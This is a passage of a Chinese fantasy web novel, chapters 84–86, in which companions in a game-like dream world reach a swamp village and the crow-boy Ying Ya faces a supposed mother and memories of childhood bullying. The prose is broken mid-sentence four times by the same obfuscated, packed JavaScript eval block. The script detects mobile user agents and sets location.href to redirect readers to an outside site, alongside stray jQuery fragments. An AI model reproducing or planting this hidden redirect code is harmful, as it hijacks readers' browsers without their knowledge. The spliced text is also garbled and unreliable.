l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168518|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早上起来得活动活动。”夏烛愣愣地展开双臂做扩胸运动,见嬴惑捂着额头靠坐在窗边,幽怨地盯着她。 “怎么了…吃早饭了吗?”风枫睡眼惺忪地从不远处直起上半身,夏烛的鲤鱼打挺一箭双雕,还把她也给掀翻在地。 突然一阵强烈的失重感,剩下三人瞬间惊醒,顶舱摇摇晃晃连坐都坐不稳。 “怎么了怎么了!坠机了?”风枫睡意全无,双手抱头防御姿势拉满。 老头的喊声从楼下传来。 “各位,再过二十分钟就落地中土了,赶紧准备准备吧!” 借用了老头的洗漱间,众人排队去收拾收拾,由于奸商属性,他们一致决定不管饿不饿都不在船上消费了。 夏烛来到甲板上,风把她身上的长袍吹得猎猎作响,头发全都糊在脸上,得一直扒拉才能看清前路,不过四周一片白茫茫,除了云雾什么也看不见,云气撞了满头,冰冰凉凉的水汽和钻进肺部的冷冽空气让人无法呼吸。 她放弃到船舷上看风景的想法,转身回到檐下跟姬无愁站在一起。 “平稳之后可以再去看看。”姬无愁好心地告诉她,脸虽然很冷但声音温柔。 果不其然,船身在一个剧烈摇晃后穿过了云层,稀薄的雾气逐渐往两边散开,一张没有五官的脸出现在船头。 “哇哇哇哇!!”风枫从洗漱间冲了出来,“那是什么!” 视野完全暴露,那张面容不清但气质神圣的脸属于一座顶天立地的雕像。雕像似乎是一个女人,穿着白金色的长袍,微微低头祝祷,双手合十,大河之水从她指尖奔腾而下,如万壑雷鸣,荡魂摄魄,越是靠近,胸腔中的震荡越是轰然。 风枫激动地趴在船头,对着夏烛和姬无愁疯狂招手,嘴里大喊着什么,却因为河流狂啸而分辨不出。 两人不得不走近,才能听清她说的话。 “俺是说!这个雕像怎么长得这么像阿烛啊!” 飞船正在下降,雕像的脸缓缓地在众人面前上升,夏烛茫然地抬起头,连五官都没有,是从哪里看出来像的。 “好像是有点。”姬无愁默默点了点头。 离地面越来越远近,人群鼎沸,笑语喧呼变得大声起来,飞船最终停在雕像面前的一座巨大广场上,另外三人也陆续出了船舱。 此处鼓乐齐鸣,攘来熙往,一片繁华景象,各种各样的集市摊位星罗棋布,其中尽是各族人士,无论精灵还是半兽人,甚至有佩刀的红衣士兵在周围巡查,维护治安。 天外之水在此汇集成一条宽阔的大河,直直延伸到西方尽头,绕过远处一座琉璃穹顶的教堂,阳光照耀其上,散发出七彩的星芒,和波光粼粼的河面交相辉映。教堂前的鲜花大道一路铺到脚下,空中飘扬着一些彩色的光片,广场中央的喷泉是由各色闪耀的宝石砌成。总之这里的一切,都晃得夏烛睁不开眼。 船身的飞翼收回舱匣内。老头从驾驶室钻了出来,俯在栏杆上对着众人挥手。 “各位,这里就是中土大河圣地了,千里相送终须一别呐,赶紧下船吧,别耽误我做生意了!祝你们好运!” 夏烛低头看向自己手里的羊皮卷,阳光炙烤中散发出一股陈旧的霉味。主线任务又有了变动。 “前往落日大教堂,为木杖附魔。” 84.勇气的长枪依旧向前(七) 一只浑身镀满金粉的蝴蝶闪烁着翅膀飞越人群上方,留下一串细碎的光尘洒到往来旅客的肩头。它穿过欢闹的集市,和鲜花大道上一株盛放的紫罗兰,飘飘荡荡从一条长蛇似的队伍中穿过,最终停在一个戴白金色兜帽的神职者头上。 风枫双手合拢想去扑夏烛身上的那只蝶,可惜它扇动着翅膀看起来动作迟钝却早已察觉来人的意图,先一步扑闪着飞走。害得风枫沾了一手金色粉末。 她拍拍手,粉末纷纷扬扬地掉落。 “话说,俺们真放那个老头走了?万一他就是魉呢,人海茫茫的以后要去哪里找他?” “我觉得他是魉的可能性不大,我还是认为这个世界之所以设定成游戏,一定有他的道理,说不定被魔王抓去的公主才是魉。”夏烛偏过头和风枫说话,然后又向前挪动了一步。 前面的队伍望不到尽头,六个人已经已经在这里排了一个小时了,好不容易从室外进到了落日大教堂内部,面前这条前不见头,后不见尾的长队都是在等着给砍来的木杖做附魔任务的。 姬无愁抓了一只刚刚附完魔准备离开的小精灵问话,众人才得知木杖是用来做传送阵法的,有了传送魔杖去到小鱼滩大陆上的任意国家就变得轻而易举。 怪不得那个老头愿意载她们,原来真是过了这个村就很难找到冤大头了。 这算是第一个含金量非常高的新手任务。 排了三个小时,终于轮到了夏烛,她煞有介事地双手捧着木杖,缓缓走上台阶,沉浸在敬职敬业的角色扮演游戏中。将手中的神奇树木杖高举,奉给高台之上端坐的玄衣主教。风枫站在台下啧啧称奇,说夏烛的演技简直日渐精进,不日就会超越自己。 身穿玄金色圣袍的主教黑巾覆面看不清长相,连一双眼睛也隐没在帽檐投下的阴影中。她抬手举起手中的一把银色蛇杖,向前一倾对准了夏烛手里的木头,夏烛好奇地抬起脑袋,看王蛇龇牙咧嘴,穹顶上的琉璃正被日头晃得天旋地转,星芒闪过蛇牙,她看见玄衣主教微微仰头露出了眼睛,朝她狡黠地眨了眨。 夏烛一怔,大脑来不及反应,只听得一曲仿佛天外的吟唱幽幽地从左耳钻进右耳钻出,眼前银光一闪,主教端坐又恢复了神秘色彩不见蹊跷。 手里的木杖镀上了一圈七彩的光,像是天边的日晕掉到了地上。她捧着传送魔杖呆呆地走下台阶,心里默默回想着刚刚一瞬间见到的那双眼睛。 她确定自己并不认识那人,从眼廓到虹膜,全都陌生,可是为什么,一种熟悉的感觉涌上心头。她甚至怀疑自己也是游戏中的一组数据,好比程序触发了,就必须得做出点反应。 “熟悉感”就是“熟悉感”,强制运行没有道理。 她走出落日大教堂,站在门口的廊柱下望着头顶的天空,天气晴朗,万里无云,透蓝色的天幕只在天际线堆出绵绵的白。夏烛的瞳孔骤然放大,一颗极亮无比的白日流星忽悠从头顶闪过,划出一道刀锋似的拖尾,像要斩天穹。 “阿烛!”风枫从背后跳出来,“传送魔杖已附魔完毕,请使用前往南方沼泽吧。”她一手拿着魔杖一手举着羊皮卷念着上面的内容。 “主线任务又变了,南方沼泽,俺记得是兽人国吧?那不是小乌鸦在这里的家乡吗?正好回家看看!”她朝后面跟出来的嬴犽背上重重拍了一巴掌,一根黑色的羽毛从他斗篷里翩然而下掉在了地上。 风枫倏地一征,微张着嘴巴不知道怎么办才好,她懊恼地拍了两下自己的嘴巴,深知有些字眼是万万不能在小乌鸦面前说出来的,她竟然被这个梦境搞的忘乎所以,“家”来“家”去的在别人跟前唱了半天。 明明知道,这是一只多敏感可怜的小鸟。 为了节省时间早日找到魍魉,等六个人全部集齐了魔杖,就该物尽其用直接前往下一个目标点了。 他们就在落日大教堂的门口,依旧是声控式的操作。 “南方沼泽”四个字话音刚落,夏烛就觉得自己眼睛一花,身体似乎变得透明,而且不太能动得起来,前方重重叠叠的人影,好像都压在了自己身上,虽然感受不到窒息般的重量,但是却能一定程度的限制行动。 那种感觉就像是突然变成了植物人,耳边闹哄哄的声音能够听清,鼻尖一股独属于南方的潮湿闷热也能捕捉,只是四肢经脉犹如被水泥浇注,僵硬不堪,寸步难行。 这个状态持续了三分钟,夏烛才从那种身不由己的状态中解放出来。与此同时,身边的几人也都像刚从泥沼里爬上来的。 “刚刚是怎么回事?”风枫难受地甩着自己的胳膊,被迫的静止,让她感觉自己浑身上下有千万只蚂蚁在爬。 怎么回事,这里是游戏世界,传送点因为人多而卡顿实在正常不过。 南方沼泽顾名思义,是一个位在大陆以南,沼泽繁多的国家。这样的地方,地形奇特,气候潮热,各种蛇虫鼠蚁层出不穷,由于各种得天独厚的优势,生物在此易于变异。 所以才有了兽人族的出现。 南方沼泽的传送点是在一片叫做寂静之地的森林中,这不过是兽人国最普通,最无害的一片土地。上半身是肌肉猛男下半身却拖着巨蟒尾巴的蛇人从身边爬过,又或者长着八条腿浑身漆黑,毛茸茸一团,只在腹部露出一张惊世骇俗的美人脸的蜘蛛倒吊在树顶,这些都叫做家常便饭,不足为奇。关于无害的判断标准,在于他们已经吃饱喝足,不会主动攻击人。 几个人挪到一片还算宽敞正常的地带,围在一起琢磨着羊皮卷。 要求前往南方沼泽的那条已经被划掉,下面又缓缓冒出一排新的文字。 “找到天问鸟,并收集羽毛。” “上次砍木头是为了做传送魔杖这次找鸟又是因为什么?”风枫挠头。 “这些应该都是成为勇者路上的必做任务,简单但有逻辑,大概最后都是为了找到魔王拯救公主吧。”姬阴秀把羊皮纸卷了起来,“也许我们可以边走出森林边四处打听打听。” 于是几个人按照地图的指引,穿过了相对安全的寂静之地,来到了一座还算体系的村庄,这里是大部分守法兽人的群居之地。看上去和新手村没什么区别。 除了民风实在强悍,热情像洪水猛兽铺天盖地,把最为瘦弱的嬴犽率先淹没。 一个紫色短发,穿着围裙,挽起袖子露出坚实手臂的女人不知道从哪个地方突然冲了出来,像一颗定向导弹直直将嬴犽扑倒在地,气势汹汹让在场五人默契地向后退了一步,留出中间的舞台给地上的二人。 女人皮肤黝黑面色红润,热泪盈眶地压在嬴犽身上,捧着他的脑袋,将他长到盖过眼睛的头发撩了上去,露出精致苍白的小脸和一双惊慌失措惶恐不安的眼睛。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173992|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘦了,憔悴了,羽毛都快秃掉了…”女人唠唠叨叨地将嬴犽从头摸到尾,最后紧紧抱着他将脑袋深深埋进颈窝处。 嬴犽呆呆地望着头顶的天空,鼻尖耸动,当闻到一股意识上被归于”熟悉”的温暖气味后,他紧绷抗拒的身体竟轰然颓废。 “嬴犽,我的好儿子,这么久了你终于肯回家了。” 女人的声音闷闷地从颤抖的皮肤处传来,因为贴近身体,那轻柔的声音会随着震动的频率缓慢又缠绵地绕在嬴犽的脑海里。胸口的位置就像扎进了一根极细的针,鲜血涌不出来,致命也还遥远,只是一个劲地泛酸,发烫,然后就是潮水一样细密的疼。 他的眼眶像被人揍了一拳,竟然酸酸涨涨地升起一些陌生的泪水,瞳孔愕然颤抖,双手不受控制地抬了起来,又在即将接触到女人背部的时候停了下来。 “妈妈…?” 这个怪异的称呼,他从出生之后就没有对着某个具体的人叫过,以至于抱着怀疑的态度念出口,差点被一种汹涌的羞耻心给淹没。 一根短短的红线出现在他腰间的羊皮纸上,在只有嬴犽知道的地方,默默划掉了一行独特的支线任务。 “给黛芙妮一个拥抱。” * 嬴犽总觉得,自己的胸口刚刚被暴风雪狠狠碾过。 当黛芙妮从他身边离开的时候,他竟然感到周围的温度在急速下降,那是一种无法言说的冷,犹如赤身裸体行走在冰原之上。 而黛芙妮,这个自称是他母亲的陌生女人就是那簇熊熊燃烧的火焰。 上一次被烈火灼身,还是那个扎着两根辫子的红发小女孩,倔强地挡在自己身前用小小的身体对抗一整片恶意的风暴,火焰融化他冰冷的心,并从此保留,永恒不灭。 只是现在,属于他的两团火焰,正围在他所谓“幼鸟时期”的照片前一起夸张地仰天大笑。 “这张这张!这张是小鸟刚刚会飞,骄傲地挥着翅膀在院子外边的树上踱步,结果乐极生悲摔了个大屁墩!” “那也太搞笑了吧!哈哈哈哈哈哈哈!”风枫笑得上气不接下气,还抽空朝嬴犽挤眉弄眼。就好像照片上那只秃毛滑稽的灰色小鸟真是他小时候一样。 嬴犽闷闷地坐在柔软羽毛织成的沙发上。 “没想到你小时候还挺调皮的,看不出来哈。”嬴惑落井下石,舒适地靠在另一边的单人沙发上说烂话。 灶台上炖着咕噜冒泡的蘑菇浓汤,香味有形在小木屋中蔓延,窗边的碎花布帘在阳光下晃荡,给那一排排生动可爱的多肉植物投上一片细碎的温暖光影。 室内的温度渐渐攀升,曛得人眼睛发烫,四肢变软。 黛芙妮热情地将六个人捡回了家,说要给她们做上一顿美味大餐,却在半途嗅出了嬴犽对待风枫的不同,冲进卧室上下翻找,非要给小精灵看看嬴犽小时候的照片。 微风从窗口吹进来,耳边传来毫无节制的笑声。 她们在做什么,煞有介事言之凿凿好像这一切都是真的,好像他拥有一位善良慈爱也许有些大大咧咧的母亲,好像他的前十几年过得顺风顺水,小打小闹的烦恼根本不足挂齿,毕竟会在母亲的羽翼之下躲避风雨,好像他从来都有一个小小的,平常的,温暖的家。 家? 嬴犽局促地低着头,看向自己那只只剩森森白骨的手。 85.勇气的长枪依旧向前(八) 嬴犽刚出生,母亲就因为难产去世了。 如果她生的是个女孩还好,可偏偏是个能力微薄的残体,对外无关紧要,对内是多了一个只会张嘴吃饭的废物。 刚出生的嬴犽皮薄骨瘦像一只被雨浇透的鹌鹑,窝在母亲生产前准备好的温暖毯子里被锯嘴葫芦似的父亲抱在怀中。 男人双眼肿胀通红望着床上已经撒手人寰的妻子,一如既往说不出三言两语,就算心似浮萍漂泊无依,巨大的悲伤像洪水快要将他淹没,他仍旧不敢发出太大的声音,唯恐惊扰旁人。 嬴犽的父亲姓姬,可是连他也不清楚自己究竟出生在日月山上还是轩辕丘,没有相力还木讷寡言,从前在嬴犽母亲的庇护下还算偏安一隅,可是现在,老废物带着小废物,家族嫌弃又无亲朋好友照应,懦弱无能的男人甚至无法独自踏进人类的社会,拖油瓶四处碰壁,好在妻子从前的好友求情,施舍了父子俩一座徘徊在嬴家边缘的破屋子。 鹌鹑即使长大了也最多飞不过屋顶。而嬴犽既随了闷葫芦爹不爱说话,又因为天生残体张不开翅膀。 出于人道主义精神,嬴家即便再凉薄也没打算让四肢健全的后代子孙落得个心智不健全的下场。 嬴犽还是照样跟着家族里的同龄小孩一起读书,当然了,残体基本只能跟残体为伍。也因为接触了更多的嬴家人,小小嬴犽明白了自己母亲身上拥有怎样神通广大,玄妙无穷的能力。因此家里唯一一张照片上那个面容模糊不清的女人,在嬴犽心底最深处留下了一个眷恋滚烫的烙印。 同时,他知道自己并不属于同样的范畴。 残体的课堂上,只教些之乎者也做人的道理,广泛的天文地理和对世界的浅显认知,并不会涉及到太皞一族的御鸟奇法。于是妄图离素未谋面的母亲近一点的嬴犽只能抛弃刚学来的仁义道德去偷去窃,当然了他告诉自己,知识上的事情也许可以叫做争取。 每天天不亮,嬴犽就穿戴整齐披着晨露到家附近的林子里练御鸟口诀,可不管他如何起早摸黑夙兴夜寐,饭也不吃觉也不睡,一只胖啾啾的麻雀能飞到他手心里,那也是母亲的坟墓冒了青烟。 虽然嘴笨又没有相力,但那时候的嬴犽还算天真烂漫。 在闹哄哄的课堂里当完有点孤僻的小哑巴,又回到家中对着大哑巴努力充当家庭的调和剂。烧水做饭打扫卫生,再将整日抱着母亲照片泫然流涕的男人拖到饭桌前。边吃饭边把今日外出所见一一向男人汇报,全然忘记了刚学的“食不言,寝不语”。 男人偶尔从悲伤痛苦中惊醒,记起自己似乎身为人父,披衣而起于夜色中将忙了一天刚刚睡下的儿子抓了起来。 嬴犽睡眼惺忪,头昏脑胀,今早起床在床头磕到的膝盖还在隐隐作痛。夜凉如水,父亲的话就像一首呕哑嘲哳的催眠曲打着安抚的名号硬生生挤进他的耳朵。 他教他出门在外一定不能给别人添麻烦,你爹我一辈子战战兢兢小心翼翼,就是为了能在这个精英天才遍地走的世界里安然独活,你作为我的儿子,必然也得践行此番生存之道。 嬴犽困得摇头晃脑,可他从来都是一个听话的乖宝宝,强撑着意志冲男人点点头,努力勾起嘴角试图展开一个让人放心的笑。 这样男人才能长舒一口气,安心地躺回被窝一觉睡到日上三竿起。 顶着黑眼圈早起的嬴犽依旧记得父亲说过的话,可他怎么也没想到,即使谨言慎行,他依旧是别人眼里那个最大的麻烦。 同为残体本应该惺惺相惜,可嬴犽的同学们似乎并不这样认为。圣贤书日夜诵读,懂得的道理越多,就越是善于发现身边的不同和差异。 据他们长期以来的观察,嬴犽此人颇为特殊,他没有妈妈,那就意味着没有靠山,在太皞无立足之地。并且不知道在哪里听说,嬴犽的妈妈是在生他的当天去世的。 秉持动物世界千万年的进化目的是绝不使自身处于食物链最底层的原则,原本身为残体就低人一头的同窗们,终于找到了一个更是低得不能再低的嬴犽,作为他们找回自信的关键转机。 几个毛头小子在某一天放学之后将赶回家做饭的嬴犽堵在了他的必经之路上。 嬴犽的必经之路,必然是一天鲜少有人路过的小道。 上有亲娘,下有姐妹,这些小子在族内的生活可谓是风生水起,一个个长得人高马大,和吃不饱饭还要干一堆活得嬴犽相比,简直是就是石头碰上鸡蛋。 但是嬴犽不卑不亢,嘴里念叨着“可近而不可迫也,可杀而不可辱也。”然后被一拳揍了个鼻青脸肿,倒在地上眼冒金星。 即便是这样,他也不觉得害怕和痛苦。 直到那群王八蛋小子笑嘻嘻地指着爬不起来的嬴犽,说他妈妈一定是因为生了个废物才被活活气死的,否则怎么会爹也不疼,没人关爱。 刚刚揍在脸上的那一拳微不足道,顶多是口腔内的软肉撞到了牙齿上,破了些皮,流了些血,他平时出门练口诀,在家干活,总有受伤比这重的时候。可是这句不痛不痒轻飘飘的话却像是一把烧红的铁钳,顺着他最薄弱的地方一寸寸地融烫,直至烧灼了那一颗尚未长全几窍的心脏。 原来是这样的吗? 嬴犽想,原来一切都是因为他,因为他是一个没有用的废物,所以妈妈才不愿意多抱抱他,早早离开了人间去到了遥远的地方再也不回来了,所以父亲才终日魂不守舍,从不关心他的学习,更不会问他痛不痛,饿不饿。 她一定对他的出生感到厌恶,所以才舍得切断血脉的链接,将他一个人扔在这个世界上。 一时间,幼年懵懂生出的困惑和启蒙之时解不开的难题,尽数在此刻通达八方。所有的一切都有了十分合理的解释,合理到他竟然就这么欣然接受。 揍他的人嘻嘻哈哈地四散离去,他们还拥有一个始终等待在某个地方,被教科书称之为“家”的地方。明白了一切的嬴犽枯坐在跌倒的位置, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184186|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手掌心的擦伤还有脸上的肿胀开始后知后觉地疼起来,连感官也如此的迟钝,就像他这么久了才明白所有一样。 直到乌云滚滚盖在头上,雨点将地面的尘土溅成泥浆,他才硬撑着从地上爬了起来,一瘸一拐地回了家。 远远看见那个沉默的男人拢着衣服站在屋檐下等他,待嬴犽走进了看清他身上的伤,男人皱起眉头,气息虚浮地指摘他不应该贪玩晚回家,否则也不会像这样弄破衣服浑身脏兮兮的模样。 嬴犽的脸上有几道灰色的污迹,从眼睛下方一直延伸到下巴上。他呆呆地抹了抹脸,扔下书包,进了厨房。 由于神思不定,灶火燎到了手心的擦伤,他想到男人说过可以用草木灰治疗伤口,于是等做完了饭,就将手伸进了冷却的炉火中,一直挨到后半夜才从家里翻找出纱布替自己缠上。 时值步入酷暑盛夏,等那股难闻的腐败气息再也掩藏不住,剥掉手上一层层的纱布,最里面已经被脓液浸透。 嬴犽站在窗下将伤手举起对准月光,难闻丑陋,和他这个人一样。鬼使神差,他忍着疼痛念起那段不被允许经由残体口中的决法。 “相始降气,妙化为形。” “符召百禽,洞鉴幽冥。” 四野寂寥,夜鸮唱过几声,暑气凝滞不散,像他手心里横生的腐肉,和淤堵在胸口的愁结。正当他以为会像从前千百次那样无疾而终,一只个头异常的红眼乌鸦收起宽阔的羽翼停在了窗边。 嬴犽一口气提在喉咙,不敢吐也不敢咽,一人一鸟就这么对视着。乌鸦天真地歪着头盯着屋内的半大孩子,双瞳闪烁,红白相替。 它孩童似得往前跳了两步,贴近嬴犽支起来的手臂,尖锐的喙步猛扎进手心那团腐肉之中,钻心的疼痛瞬间传遍四肢百骸,但是嬴犽却不敢收手,他死死捏着自己的手腕,直到感觉不到手腕以上的存在,生怕自己只要一松手,这只第一次为他而来的鸟就会振翅飞走。 月下的乌鸦叼着一截嬴犽的掌心肉,头稍稍一仰,腐肉就滑进了它细窄的咽喉。它似乎很满意,歪着头打量着面色如纱的嬴犽,黑羽在月光下浮翠流丹,缓缓淌出一段异彩。 红眼乌鸦仰头发出短促怪异的叫声,接着宁静的夜空下就响起了翅膀扑朔的声音,第二只,第三只乌鸦纷纷落在了嬴犽的窗边。 它们如饥似渴却又井然有序地啄着他手心里的肉,每一下撕筋裂皮,都像是对他执着的肯定。汗水和泪水混杂在一起湿透衣裳,使他双眼迷离看不清月光,神经抽搐直到痛苦变成麻木,最后又成为一种对自己的存在前所未有的笃定,他将嘴唇咬破,鲜血却汇集在嘴角似乎是一个灿烂无比的微笑。 如果妈妈此刻正在天边看着,一定会为他开心的吧。 他只会遗憾这一天没有再早一点到来,如果带着腐败流脓的断手出生,漫天的黑鸦停在房顶,她也许就不会伤心生气,也许会用温柔的手抚摸他的头顶,也许从此不再离开。 86.勇气的长枪依旧向前(九) 他用一只手,换取了号召乌鸦的能力。身为残体要想在这个世界顺畅通行,就得付出同等的代价。 嬴犽带着只剩白骨的右手和鸦群找到了当日欺负过他的人,他只是想炫耀炫耀,没错,就是这个词。不是报复,也不是要将受到的委屈还回去,只是想给那群人瞧瞧,残体也可以御鸟了,他过世的妈妈会为他感到骄傲的。 可是对方明显猜错了嬴犽的来意,面对一个脸色苍白阴郁,眼底浓到化不开阴霾,露出森然白骨的孤僻小孩,一些想象中的恐怖画面在大脑里重播不停。男孩们先是大惊失色跪地求饶,接着从小就会察言观色的他们很快就看出了嬴犽并没有报仇的意思,便转变了态度,从试探到再次出手只花了短短几分钟。 他们大笑着朝嬴犽和他的乌鸦扔出石头,骂他是个蠢货,没有嬴犽的命令,小鸟们只会躲避而不会出手。一块边缘锋利的石头砸在了他的额角,不过对于疼痛他早就司空见惯。那感觉无法吓退他,却能让一个只吃了一顿薄饭的小孩晕倒在地。 他仰面躺在地上,那只个头最大的红眼乌鸦乖乖地站在他耳朵旁边,用尖锐的喙部轻啄他的脸颊。 嬴犽想不明白,为什么拥有相力了却还是不被喜欢。他不过是想学校吃午饭的时候,可以和他们坐在一起。 无数条翠青一般的藤蔓从草丛里面钻出,神不知鬼不觉地缠上了几个坏孩子的手脚,收缩捆绑,将他们牢牢地钉在原地,像几块木讷的桩子。 男孩们被突如其来的变故吓得呆滞痴傻,嘴巴大张,由于惊吓过度而急促地喘着粗气。 “什么东西!这是什么东西!”他们慌张地大叫着。 嬴犽在彻底晕过去前,看到的是一头红发的天使,摆着正义凛然姿势携带耀眼夺目的光芒从天而降。 少皞和太皞两族做了万年的邻居,因此嬴犽和男人的家说是在嬴家的边缘实际上是在两族的交界处。 最近总有一群不知名的强盗小鸟,竟然穿过了老妈布置的结界把她种在树林里的浆果给吃了个精光。 风枫已经在这里蹲守好几天了,今天终于发现了鸟群的踪迹,一路追来,势必要惩罚这些尖嘴小贼。 可她碰巧遇到了以多欺少的场面,心怀浩然正气的风枫大人,最见不得以强凌弱,以众暴寡。那个晕倒在地的男孩看上去瘦弱不堪,无论他们之间有何矛盾也应该用君子的方式去解决。 “呔!一群黄口小儿!安敢在此仗势欺人!让俺看见了定要叫你们屁股开花哭爹找妈!”风枫单手叉腰,两指并拢如剑,横眉竖眼,怒目圆瞪,气沉丹田,心中想象张翼德是如何当阳桥吓退百万兵。 几个小孩虽然被天降奇兵吓得两股战战,但一想到自己的母亲和姐妹,荡然无存的气势又冒出一点火星。 “你是谁!敢管我们嬴家的事!” 小小枫见几人居然还敢回嘴,左右手交换架势,脚下四方步来去生风,嘴里念念有词,什么”枪出如龙”什么“万军丛中取敌将首级”。唬得几个手脚受限的孩子一愣一愣的。 只见四方又蛇形出几条绿色的藤蔓,像眼镜蛇一般直立起上半身,在几人面前摇摇晃晃,待他们还没反应过来,藤条做鞭,啪啪打在了屁股上。 “叫你们还敢欺负人!” “错了错了错了!我们再也不敢了!” 见他们态度诚恳,大鼻涕快流进嘴里,风枫这才嫌弃地收了藤蔓,看着几人捂着屁股连滚带爬地跑了。 她走到晕倒的嬴犽身边,看了一眼旁边呆呆的黑色小鸟。 “小乌鸦?你是谁家的孩子?” 嬴犽伤得不重,但满脸鲜血,加之他露出来的白骨手臂,风枫自己也不敢处理,只好将他裹在藤蔓中拖回了风家。 风叶帮忙找了医生,将孩子送去了村里的医院,又因为那只跟屁虫一样的小鸟,判断出嬴犽的身份,派人去嬴家报了信。而风枫则是一直守在嬴犽的身边。 她这个人一贯有始有终,帮人帮到底,就像前些天下雨在草丛里救回来的小猫,她也是这样,整日整夜的守在小猫身边。 尽管小家伙吃饱喝足毛皮干燥后又去追逐自由了。 医生说嬴犽没什么大碍,只是受了一些皮外伤,营养不良发烧晕倒了。只不过她也无法判定,小孩这只枯竭的右手是因何造成的。 风枫撑着下巴趴在嬴犽的床边,看他在梦魇里抽泣颤抖,就像是一株即将枯萎的小草,风刀霜剑硬撑着秋冬。她朝医院窗外望了一眼,生机勃勃的原野尽头盛大的落日正在无声地注视一切,夕阳照在他孱弱透明的皮肤上,风枫一拍大腿,之前总觉得嬴犽看起来怪怪的,可就是怎么都说不上来。 现在她算是明白了,嬴犽身上奇怪的点在于一种淡薄的贫瘠感,爱在天地间奔跑的自然之子,对于一片贫瘠的土地,很难不生出怜爱的心。 于是她跑出医院,跑到外面的田埂上,摘了一朵被夕阳晒得发烫的小雏菊,回到嬴犽的床边,挽成一只小小的指环,轻轻替他带上。 等他醒了,她要告诉他,世界不会永远又冷又孤单,只需要静静等待一个春天的到来。 * 黛芙妮讲起嬴犽“小时候”和别人打架,先是哈哈大笑,接着又笑出了眼泪,咬牙切齿地盯着虚空中的一个点,说这帮小兔崽子欺负她儿子,让她给狠狠教训了一顿,这么大了还是见到黛芙妮就屁滚尿流。 她满不在乎地用手背抹了抹脸,吸了吸鼻子闻到空气中一股子糊味。 “哎呀我的蘑菇汤!” 说完将相册塞到风枫怀里奔向了厨房。 众人围坐在餐桌旁,夕阳开始给万物染色,放眼望去金灿灿的一片。可爱的花卉陶罐里盛着蘑菇浓汤,汤面上冉冉飘出金色的烟缕。 夏烛隔着腾腾热气看着大家的脸庞,很难不去描绘一个“家”的模样。从前夏天的每一个傍晚,她也是这样和爷爷坐在窗下的小方桌上。 热气腾腾,金灿灿又明晃晃。 她忍不住偷看了一眼嬴犽,发现他脱掉了宽大的长袍,身后的翅膀乖乖收在一起,刘海撩到一边露出一双眼睛,正一瞬不瞬地盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191674|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着替他盛汤的黛芙妮。 也许他也在脑海中想过,画面会不会和此刻重合。 蘑菇浓汤又香又暖,巨型的沼泽面包比星旅树台的不知道好吃多少倍,培根粒油滋滋的和小西苔一起盐烤,夏烛满足地眯起眼睛,短暂的幻想留在这个世界还真不错。 嬴惑不知道为什么,总能看透她脑子里想的东西,然后及时浇下冷水将她拉回现实。 “怎么了?觉得这里还挺好的是吧?要抛弃现实里的一切留下吗?你这叫助纣为虐。” 夏烛耷拉着眼皮,没有给他任何眼神。 “难道想也有罪?” “简单想一想当然不会怎么样,可是你忘了?这些魍魉梦境可都是想出来的。想得太深就变成了执念。” 夏烛怔住,她忽然想起第一次见到风叶的时候,她说的那句话。 欲念越深越会吸引天生相,从而两两融合像是蝴蝶结茧或者滚雪球一样缔造出魍魉梦境。而这群神族后人本就身负相力,通过血脉相承。 表面上看起来似乎没有什么问题,但是第一个将梦境中斩魉得到后的石头称作天生相的是谁呢?是九天之上的那位从未现身的主神吗? 当然,主神的话就是金口玉言,从未有人怀疑过这一点。 那事实真的是这样吗? 天生相和欲念,谁为主谁为客?谁是因谁是果? 夏烛从来认为单一的耳听和眼见都算不得数,实践才能出真知,事实这两个字残酷而不可动摇,地位之高,影响之大,必须得亲身验证,才能当作准绳矩矱。 只是现在,她连自己的来路都谈不明白,更没有能拿去验证真相的资本,还是走一步看一步,总有一天会了解一切。 姬无愁没有忘记手里的任务,她向黛芙妮询问了天问鸟的位置。 “天问鸟?从村口出去一路往北的盐湖沼泽,就是它的栖息地,那可真是一种奇怪的生物啊,不过,你们找天问鸟做什么?”送到嘴边的汤勺停住,她在众人脸上扫了一圈,最后停在了嬴犽躲闪的目光上。 “啊哈,儿子出息了,也想当当勇者救救公主是吗!我说真的,年轻的时候我也曾想过去中土大河参加骑士考核,只不过后来遇到了你那个短命的老爸,不过主要是因为有了你…”她拍拍嬴犽的肩膀,“欸欸欸,你可别自作多情,你妈妈我呀,不是被你牵绊住了脚步,而是年轻人通常都靠梦想前进着。” 她紧紧盯着嬴犽的眼睛。 